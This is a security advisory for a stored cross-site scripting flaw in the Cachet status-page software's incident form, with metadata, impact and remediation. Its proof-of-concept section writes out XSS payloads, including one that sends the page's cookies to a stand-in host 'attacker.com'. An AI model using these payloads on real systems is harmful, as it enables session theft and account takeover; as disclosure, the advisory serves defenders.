---
id: CVE-2026-113712
aliases:
  - GHSA-x397-5hrv-j9m9
title: Cachet has Stored XSS in Incident Component
summary: Cachet has Stored XSS in Incident Component
severity: medium
cvss: 4.8
cwe:
  - CWE-79
vendor: cachethq
product: cachethq/cachet
ecosystem: composer
affected:
  - cachethq/cachet <= 2.4.1
published: '2026-10-20'
updated: '2026-10-20'
sourceUpdated: '2026-10-20T21:09:40Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-x397-5hrv-j9m9'
references:
  - url: 'https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9'
  - url: >-
      https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2
  - url: >-
      https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e
  - url: 'https://github.com/advisories/GHSA-x397-5hrv-j9m9'
tags:
  - ghsa
  - composer
  - cve.org
cvssVector: 'CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N'
cvssSource: cna
ingestedAt: '2026-10-20T20:18:14.544Z'
---

## Overview

### Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

### Details
The incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3

### PoC

1. Log in as an authenticated user
2. Navigate to /dashboard/incidents/
3. Create a new incident
4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution:
```<img src=x onerror="alert(1)">```

Step 2 — Cookie/token exfiltration:
```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">```

Step 3 — Forced redirect to sensitive page:
```<img src=x onerror="window.location='/dashboard/manage-customization'">```

5. Save the incident
6. Navigate to the public status page
7. Payload executes in the victim's browser
### Payload 1 
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

### Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />



Stored XSS affecting all users who view the public status page.

An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

## Affected packages

- `cachethq/cachet <= 2.4.1`

## Remediation

Refer to the advisory for the patched release.